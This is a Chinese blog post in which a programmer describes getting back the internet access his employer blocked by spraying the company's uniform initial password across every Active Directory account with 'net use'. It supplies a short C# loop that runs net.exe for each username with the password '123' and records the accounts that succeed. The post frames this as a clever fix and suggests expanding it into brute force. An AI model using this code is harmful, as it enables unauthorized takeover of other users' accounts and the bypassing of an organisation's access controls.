利用C#结合net use命令破解域帐号密码

背景

我的职业是程序猿,而所在的工作单位因各种原因,对上网帐号有严格控制,近期竟然把我们的上网帐号全部停用,作为程序猿,不能上网,就如同鱼儿没有水,煮饭没有米,必须想办法解决此问题。公司的局域网环境是AD域环境,上网帐号就是域帐号,公司有上万人,每个帐号在建立时都是统一的初始密码,且很多用户懒得不愿意修改初始密码。因此,稍动脑筋,就有了此破解之道。

原理

Windows中有个net use命令,用于将计算机与共享的资源相连接(建立磁盘映射),或者切断计算机与共享资源的连接(删除磁盘映射),对应的图形界面如下图所示。

利用C#结合net use命令破解域帐号密码_第1张图片

net use 命令对应的图形界面

net use命令的格式及详细说明可参考:https://technet.microsoft.com/en-us/library/bb490717.aspx

简单地说,net use命令可以使用指定的用户名和密码,映射网络中的共享位置。

举例:net use \\waaicd2 /user:domain\user001 mypassword,其中domain\user001表示用户名,mypassword表示密码。在命令行窗口执行这条命令后,如果用户名和密码正确,则会提示"命令成功完成。",否则提示“登录失败: 未知的用户名或错误密码。”

想必看到这里,只要有点编程基础的人都在心里呵呵笑了,前面的背景中提到,域帐号初始密码是统一的,因此,我们只需要把域中的所有用户名穷举出来,套上这条命令,就能知道哪些用户没有修改初始密码了。翠花,上代码。

代码

Listusers = GetUserList()

foreach (var user in users)

{

System.Diagnostics.ProcessStartInfo pInfo = new System.Diagnostics.ProcessStartInfo();

pInfo.FileName = "C:\\Windows\\System32\\net.exe";

pInfo.Arguments = "use \\\\计算机名\\共享目录$ /user:domain\\" + staffno + " 123";

pInfo.UseShellExecute = false;

pInfo.RedirectStandardError = true;

pInfo.RedirectStandardOutput = true;

pInfo.CreateNoWindow = true;

System.Diagnostics.Process proc;

proc = System.Diagnostics.Process.Start(pInfo);

StreamReader myStreamReader = proc.StandardOutput;

string myString = myStreamReader.ReadLine();

if (myString != null && myString.Contains("命令成功完成"))

{

WriteResult(staffno);

}

proc.WaitForExit();

proc.Close();

pInfo.Arguments = "use \\\\计算机名\\共享目录$ /delete";

System.Diagnostics.Process.Start(pInfo);

}

结束语

这种方法虽然简单,但也不失为一种解决问题的途径,甚至可以扩展成更牛B的暴力破解。但各位读者不要用此方法去做一些违反职业道德的事哦!

你可能感兴趣的:(利用C#结合net use命令破解域帐号密码)